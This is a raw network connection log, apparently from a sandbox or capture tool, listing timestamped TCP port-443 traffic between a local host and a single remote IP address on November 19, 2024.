Nov 19, 2024 01:01:13.495564938 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.495568037 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.495594978 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.495670080 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.495670080 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.524837017 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.524880886 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.524980068 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.524980068 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.524988890 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.525043964 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.525823116 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.525887012 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.525928974 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.526079893 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.527609110 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.527652025 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.527704954 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.527704954 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.527713060 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.527827024 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.529308081 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.529352903 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.529418945 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.529423952 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.529463053 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.529463053 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.530365944 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.530406952 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.530456066 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.530456066 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.530462980 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.530520916 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.530520916 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.576905012 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.576926947 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.577085972 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.577094078 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.577366114 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.613068104 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.613138914 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.613173008 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.613234043 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.613662958 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.613662958 CET	49710	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.613687992 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.613698959 CET	443	49710	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.670751095 CET	49711	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.670816898 CET	443	49711	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.670901060 CET	49711	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.671704054 CET	49712	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.671756983 CET	443	49712	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.673825026 CET	49713	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.673856020 CET	49712	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.673868895 CET	443	49713	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.674892902 CET	49714	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.674902916 CET	443	49714	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.674928904 CET	49713	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.674952984 CET	49714	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.675811052 CET	49715	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.675820112 CET	443	49715	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.676167011 CET	49714	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.676183939 CET	443	49714	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.676206112 CET	49715	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.676316023 CET	49711	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.676352024 CET	443	49711	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.676445961 CET	49715	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.676457882 CET	443	49715	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.676681042 CET	49712	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.676691055 CET	443	49712	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:13.676877022 CET	49713	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:13.676884890 CET	443	49713	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.432535887 CET	443	49711	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.433320999 CET	49711	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.433406115 CET	443	49711	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.433913946 CET	49711	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.433929920 CET	443	49711	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.436099052 CET	443	49715	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.436503887 CET	49715	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.436532974 CET	443	49715	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.436933041 CET	49715	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.436939001 CET	443	49715	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.444679022 CET	443	49712	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.445214033 CET	49712	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.445278883 CET	443	49712	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.445617914 CET	49712	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.445631981 CET	443	49712	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.458362103 CET	443	49714	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.458703995 CET	49714	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.458720922 CET	443	49714	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.459129095 CET	49714	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.459134102 CET	443	49714	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.572381973 CET	443	49711	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.572578907 CET	443	49711	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.572645903 CET	49711	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.572822094 CET	49711	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.572870970 CET	443	49711	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.572899103 CET	49711	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.572915077 CET	443	49711	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.576150894 CET	49716	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.576201916 CET	443	49716	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.576276064 CET	49716	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.576441050 CET	49716	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.576466084 CET	443	49716	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.577538967 CET	443	49715	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.578640938 CET	443	49715	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.578741074 CET	49715	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.578804016 CET	49715	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.578847885 CET	443	49715	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.578875065 CET	49715	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.578891039 CET	443	49715	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.580780029 CET	49717	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.580828905 CET	443	49717	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.581075907 CET	49717	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.581207991 CET	49717	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.581222057 CET	443	49717	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.585191965 CET	443	49712	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.585249901 CET	443	49712	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.585315943 CET	49712	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.585330009 CET	443	49712	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.585374117 CET	49712	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.585382938 CET	443	49712	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.585427999 CET	49712	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.585550070 CET	49712	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.585561991 CET	443	49712	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.585622072 CET	49712	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.585625887 CET	443	49712	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.587984085 CET	49718	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.588021040 CET	443	49718	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.588289022 CET	49718	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.588404894 CET	49718	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.588428020 CET	443	49718	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.604357004 CET	443	49714	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.604406118 CET	443	49714	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.604511023 CET	49714	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.604546070 CET	443	49714	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.604744911 CET	49714	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.604744911 CET	49714	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.604779005 CET	443	49714	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.605171919 CET	443	49714	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.605252028 CET	443	49714	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.605586052 CET	49714	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.608284950 CET	49719	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.608299017 CET	443	49719	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.608370066 CET	49719	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.608653069 CET	49719	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.608664989 CET	443	49719	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.815733910 CET	443	49713	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.816262007 CET	49713	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.816282988 CET	443	49713	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.816778898 CET	49713	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.816787004 CET	443	49713	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.956753969 CET	443	49713	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.956811905 CET	443	49713	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.956912994 CET	49713	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.956933022 CET	443	49713	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.957006931 CET	49713	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.957272053 CET	49713	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.957315922 CET	443	49713	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.957345009 CET	49713	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.957360029 CET	443	49713	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.966438055 CET	49720	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.966484070 CET	443	49720	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:14.966557980 CET	49720	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.967520952 CET	49720	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:14.967541933 CET	443	49720	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.338920116 CET	443	49716	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.344402075 CET	443	49717	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.350601912 CET	49716	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.350672960 CET	443	49716	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.351372004 CET	49716	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.351387024 CET	443	49716	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.351767063 CET	49717	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.351797104 CET	443	49717	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.352411032 CET	49717	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.352417946 CET	443	49717	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.372772932 CET	443	49719	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.373519897 CET	49719	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.373559952 CET	443	49719	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.374006033 CET	49719	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.374013901 CET	443	49719	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.421508074 CET	443	49718	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.422100067 CET	49718	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.422117949 CET	443	49718	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.422642946 CET	49718	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.422648907 CET	443	49718	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.487814903 CET	443	49716	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.487986088 CET	443	49716	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.488055944 CET	49716	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.488214016 CET	49716	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.488255978 CET	443	49716	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.488284111 CET	49716	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.488298893 CET	443	49716	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.489995003 CET	443	49717	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.490648031 CET	443	49717	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.490710974 CET	49717	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.492078066 CET	49721	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.492126942 CET	443	49721	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.492207050 CET	49721	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.492851019 CET	49717	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.492873907 CET	443	49717	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.492889881 CET	49717	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.492897987 CET	443	49717	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.492947102 CET	49721	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.492964983 CET	443	49721	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.495677948 CET	49722	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.495719910 CET	443	49722	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.495795965 CET	49722	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.496062040 CET	49722	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.496079922 CET	443	49722	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.515470982 CET	443	49719	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.515754938 CET	443	49719	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.515803099 CET	49719	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.515842915 CET	49719	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.515842915 CET	49719	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.515870094 CET	443	49719	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.515882969 CET	443	49719	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.518184900 CET	49723	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.518227100 CET	443	49723	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.518282890 CET	49723	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.518419027 CET	49723	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.518435001 CET	443	49723	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.874708891 CET	443	49718	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.874789000 CET	443	49718	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.874856949 CET	49718	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.875082970 CET	49718	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.875128031 CET	443	49718	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.875164032 CET	49718	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.875180960 CET	443	49718	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.878278017 CET	49724	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.878309965 CET	443	49724	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:15.878371000 CET	49724	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.878848076 CET	49724	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:15.878859997 CET	443	49724	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.018362045 CET	443	49720	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.025892019 CET	49720	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.025919914 CET	443	49720	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.026334047 CET	49720	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.026341915 CET	443	49720	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.164282084 CET	443	49720	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.164443016 CET	443	49720	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.164572001 CET	49720	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.164814949 CET	49720	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.164814949 CET	49720	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.164839983 CET	443	49720	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.164851904 CET	443	49720	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.168164968 CET	49725	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.168190956 CET	443	49725	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.168265104 CET	49725	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.168441057 CET	49725	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.168451071 CET	443	49725	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.262197018 CET	443	49721	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.262887001 CET	49721	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.262912035 CET	443	49721	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.263593912 CET	49721	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.263601065 CET	443	49721	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.280993938 CET	443	49722	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.291503906 CET	49722	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.291529894 CET	443	49722	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.292269945 CET	49722	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.292277098 CET	443	49722	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.293793917 CET	443	49723	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.294229031 CET	49723	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.294243097 CET	443	49723	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.295825005 CET	49723	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.295830965 CET	443	49723	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.404144049 CET	443	49721	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.404282093 CET	443	49721	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.404335976 CET	49721	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.405208111 CET	49721	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.405230045 CET	443	49721	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.405244112 CET	49721	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.405257940 CET	443	49721	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.418464899 CET	49726	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.418510914 CET	443	49726	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.418570042 CET	49726	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.434544086 CET	49726	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.434561014 CET	443	49726	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.435311079 CET	443	49722	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.435574055 CET	443	49722	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.435760975 CET	49722	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.436911106 CET	49722	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.436940908 CET	443	49722	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.436955929 CET	49722	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.436964035 CET	443	49722	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.437621117 CET	443	49723	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.437747955 CET	443	49723	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.437788963 CET	49723	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.439596891 CET	49723	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.439605951 CET	443	49723	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.445879936 CET	49727	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.445905924 CET	443	49727	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.446033955 CET	49727	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.446181059 CET	49727	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.446187019 CET	443	49727	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.449202061 CET	49728	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.449217081 CET	443	49728	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.449268103 CET	49728	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.478219986 CET	49728	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.478233099 CET	443	49728	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.640742064 CET	443	49724	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.663557053 CET	49724	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.663605928 CET	443	49724	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.664073944 CET	49724	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.664081097 CET	443	49724	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.814857006 CET	443	49724	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.815578938 CET	443	49724	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.815633059 CET	49724	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:16.948093891 CET	443	49725	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:16.991064072 CET	49725	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.074631929 CET	49724	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.074631929 CET	49724	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.074656010 CET	443	49724	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.074666023 CET	443	49724	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.199378967 CET	443	49726	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.236823082 CET	443	49727	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.239370108 CET	49726	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.248837948 CET	49727	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.248847008 CET	443	49727	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.249414921 CET	49727	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.249418974 CET	443	49727	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.249721050 CET	49725	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.249732971 CET	443	49725	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.250102043 CET	49725	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.250106096 CET	443	49725	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.387867928 CET	443	49725	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.388041019 CET	443	49725	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.388099909 CET	49725	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.389442921 CET	443	49727	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.389652014 CET	443	49727	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.389782906 CET	49727	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.394543886 CET	443	49728	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.420823097 CET	49728	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.420842886 CET	443	49728	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.421967983 CET	49728	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.421971083 CET	443	49728	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.422189951 CET	49727	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.422203064 CET	443	49727	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.422213078 CET	49727	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.422218084 CET	443	49727	13.107.246.45	192.168.2.6
